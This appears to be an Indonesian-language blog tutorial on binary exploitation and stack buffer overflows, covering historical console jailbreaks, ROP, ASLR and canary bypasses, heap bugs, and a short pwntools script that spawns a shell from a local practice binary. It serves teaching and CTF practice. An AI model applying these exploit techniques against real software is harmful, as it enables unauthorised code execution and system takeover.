~ $ cd /home

Tentang Binary Exploitation dan Buffer Overflow - pwn01

GitHub Profile 2025-08-11 - Rainhynn

PWN THUMB

Binary exploitation merupakan salah satu keahlian paling krusial dalam dunia penetration testing dan keamanan siber. Teknik ini memungkinkan kita menemukan dan memanfaatkan kerentanan tingkat lanjut dalam program dan sistem operasi, yang seringkali menjadi pintu masuk untuk mendapatkan kendali penuh atas sistem target (remote code execution) atau meningkatkan hak akses secara lokal (privilege escalation).

Selama bertahun-tahun, berbagai proteksi telah dikembangkan untuk memitigasi kerentanan memori, mulai dari tingkat kernel sistem operasi hingga teknik kompilasi binary. Namun, selalu ada celah untuk mengeksploitasi kesalahan-kesalahan kecil dalam penanganan memori pada binary.

Kompetensi yang Diperlukan

Untuk menguasai binary exploitation modern, diperlukan pemahaman mendalam tentang:

  1. Bahasa Assembly (arsitektur x86/x64)
  2. Arsitektur Komputer (register, stack, heap, memory management)
  3. Fundamental Binary Exploitation (buffer overflow, ROP, format string)

Bagi yang belum familiar dengan Assembly dan arsitektur komputer, sangat disarankan untuk mempelajari Artikel Bahasa Assembly. terlebih dahulu. Sedangkan untuk praktik dasar buffer overflow di Linux, modul “Tentang Binary Exploitation dan Buffer Overflow” menyediakan landasan yang baik.


Memahami Buffer Overflow Secara Mendalam

Konsep Dasar Buffer Overflow

PWN Header

Buffer overflow terjadi ketika program menerima input data yang melebihi kapasitas buffer yang dialokasikan, menyebabkan data tersebut “meluap” (overflow) dan menimpa area memori sekitarnya. Fenomena ini terutama terjadi di stack memory, meskipun bisa juga terjadi di heap.

Mekanisme Overflow pada Stack

Stack menggunakan prinsip LIFO (Last-In, First-Out). Setiap kali fungsi dipanggil:

  1. Stack frame baru dibuat
  2. Return address (EIP/RIP) disimpan di stack
  3. Parameter fungsi dan variabel lokal ditempatkan di stack
; Contoh assembly sederhana
push 0x41       ; Simpan nilai 0x41 ('A') di stack
push 0x42       ; Simpan nilai 0x42 ('B') di stack
pop eax         ; Ambil nilai teratas (0x42) ke register EAX

Visualisasi Stack Normal vs Stack Overflow

Stack Normal:

0x42    <-- Top of Stack (ESP)
0x41
...

Stack Overflow (input 12 byte pada buffer 8 byte):

[Buffer (8 byte)] [EBP] [EIP]
AAAAAAAA AAAA AAAA  <-- EIP tertimpa!
  • Nilai return address (EIP) tertimpa menjadi 0x41414141 (hex untuk ‘AAAA’)
  • Program crash saat mencoba eksekusi di alamat invalid tersebut

Klasifikasi Buffer Overflow

1. Berdasarkan Lokasi Memory

JenisLokasiKarakteristik
Stack OverflowStack memoryPaling umum, relatif mudah dieksploitasi
Heap OverflowHeap memoryLebih kompleks, membutuhkan teknik khusus
BSS Overflow.bss sectionJarang, tapi mungkin pada program tertentu

2. Berdasarkan Teknik Exploitasi

  1. Denial of Service (DoS)
    • Crash program dengan overflow sederhana
  2. Arbitrary Code Execution
    • Redirect execution flow ke shellcode
  3. Return-Oriented Programming (ROP)
    • Chain gadget untuk bypass proteksi memori
  4. Data Corruption
    • Ubah nilai variabel kritis di memori

Studi Kasus Nyata & Analisis Mendalam

1. iPhone Jailbreak (iOS 4 - greenpois0n)

  • Vulnerability: Stack overflow pada HFS Volume Name
  • Exploit Technique:
    // Pseudocode exploit
    char volume_name[256];
    strcpy(volume_name, malicious_payload);  // Overflow terjadi di sini
    
  • Payload Structure:
    [NOP sled][shellcode][return address]
    
  • Patch: iOS 4.3 memperkenalkan ASLR dan stack protection

2. PlayStation Portable (PSP - TIFF Exploit)

  • Bug: Integer overflow pada TIFF parsing
  • Exploit Flow:
    1. Buat file TIFF korup dengan dimensi gambar overflow
    2. Set background ke PNG korup
    3. Buka di Photo Viewer → EIP kontrol → shellcode execution
  • Technical Details:
    # Contoh struktur exploit
    with open('exploit.tiff', 'wb') as f:
        f.write(b'\x49\x49\x2a\x00')  # Header TIFF
        f.write(b'\x08\x00\x00\x00')  # Offset pertama
        f.write(b'\xff\xff\xff\x7f')  # Width overflow
        f.write(b'\xff\xff\xff\x7f')  # Height overflow
        f.write(b'A'*1000)            # Payload
    

3. Nintendo Wii (Twilight Hack)

  • Vulnerability: Stack overflow pada nama karakter
  • Exploitasi:
    • Ubah nama kuda “Epona” menjadi string panjang berisi payload
    • Save game korup → load game → kontrol EIP
  • Payload Design:
    [Junk data][hacked save function address][shellcode]
    

Teknik Exploitasi Lanjutan

1. Return-Oriented Programming (ROP)

Digunakan ketika:

  • NX (No-Execute) diaktifkan
  • ASLR membuat alamat shellcode tidak pasti

Contoh ROP Chain:

rop_chain = [
    pop_rdi,       # Gadget 1: pop rdi; ret
    binsh_addr,    # Alamat string "/bin/sh"
    system_addr    # Alamat fungsi system()
]

2. Bypass ASLR dengan Memory Leak

Teknik:

  1. Eksploitasi Format String bug untuk leak alamat libc
  2. Hitung base address libc
  3. Bangun ROP chain berdasarkan alamat aktual

Contoh Implementasi:

# Leak alamat puts
payload = b'%7$p'
send(payload)
leak = int(recv(), 16)
libc_base = leak - libc.sym.puts
system_addr = libc_base + libc.sym.system

3. Heap Exploitation Modern

Teknik Utama:

  • Use-After-Free (UAF)
  • Double Free
  • Tcache Poisoning
  • House of Spirit

Contoh Use-After-Free:

// Vulnerable code
char *ptr = malloc(32);
free(ptr);
*ptr = 'A';  // UAF terjadi di sini

Proteksi Modern & Teknik Bypass

1. NX/XD (No-Execute)

  • Cara Bypass: ROP, ret2libc
  • Contoh:
    rop = flat([
        pop_rdi, binsh,
        ret,     # Stack alignment
        system
    ])
    

2. ASLR (Address Space Layout Randomization)

  • Bypass Method:
    • Memory leak
    • Bruteforce (pada sistem 32-bit)
    • Partial overwrite

3. Stack Canaries

  • Cara Bypass:
    • Leak canary melalui Format String
    • Null byte overwrite (pada kasus tertentu)
    • Bruteforce (jarang feasible)

4. RELRO (Relocation Read-Only)

  • Implikasi:
    • Full RELRO: GOT overwrite tidak mungkin
    • Partial RELRO: Masih mungkin GOT overwrite

Panduan Praktis Exploit Development

Langkah-langkah Eksploitasi Buffer Overflow

  1. Fuzzing - Identifikasi titik overflow
  2. Offset Determination - Cari jarak ke EIP/RIP
    pattern create 200
    pattern offset $eip
    
  3. Control EIP - Verifikasi kontrol alamat return
  4. Bad Character Analysis - Identifikasi byte terlarang
  5. Shellcode Development - Buat payload efektif
  6. Exploit Finalization - Gabungkan semua komponen

Contoh Script Exploit Lengkap

from pwn import *

context.arch = 'i386'
elf = ELF('./vulnerable')

# 1. Crash program & cari offset
offset = 76

# 2. ROP Chain
rop = ROP(elf)
rop.call(elf.sym.system, [next(elf.search(b'/bin/sh'))])

# 3. Bangun payload
payload = flat({
    offset: rop.chain()
})

# 4. Kirim exploit
io = process(elf.path)
io.sendline(payload)
io.interactive()

Mengapa Masih Relevan Mempelajari Stack Overflow?

1. Fundamental Keamanan Memori

  • Memahami konsep memory corruption
  • Prinsip kontrol flow execution

2. Dasar untuk Teknik Lanjutan

  • SEH overwrite pada Windows
  • Heap exploitation modern
  • Kernel space exploitation

3. Aplikasi di Sistem Legacy

  • Embedded systems
  • IoT devices
  • Industrial control systems

Sumber Belajar Lebih Lanjut

  1. Buku:
    • “The Shellcoder’s Handbook” (Chris Anley)
    • “Hacking: The Art of Exploitation” (Jon Erickson)
  2. CTF Challenges:
    • picoCTF
    • OverTheWire
    • Hack The Box
  3. Paper Penelitian:
    • “Smashing The Stack For Fun And Profit” (Aleph One)
    • “Return-Oriented Programming” (Hovav Shacham)

Dengan pemahaman mendalam tentang binary exploitation dan buffer overflow, Anda memiliki landasan kuat untuk menjelajahi dunia exploit development yang lebih advanced. Selamat belajar! 🚀


© 2021-2025 HnvDie

Powered By Hugo ᯓᥣ𐭩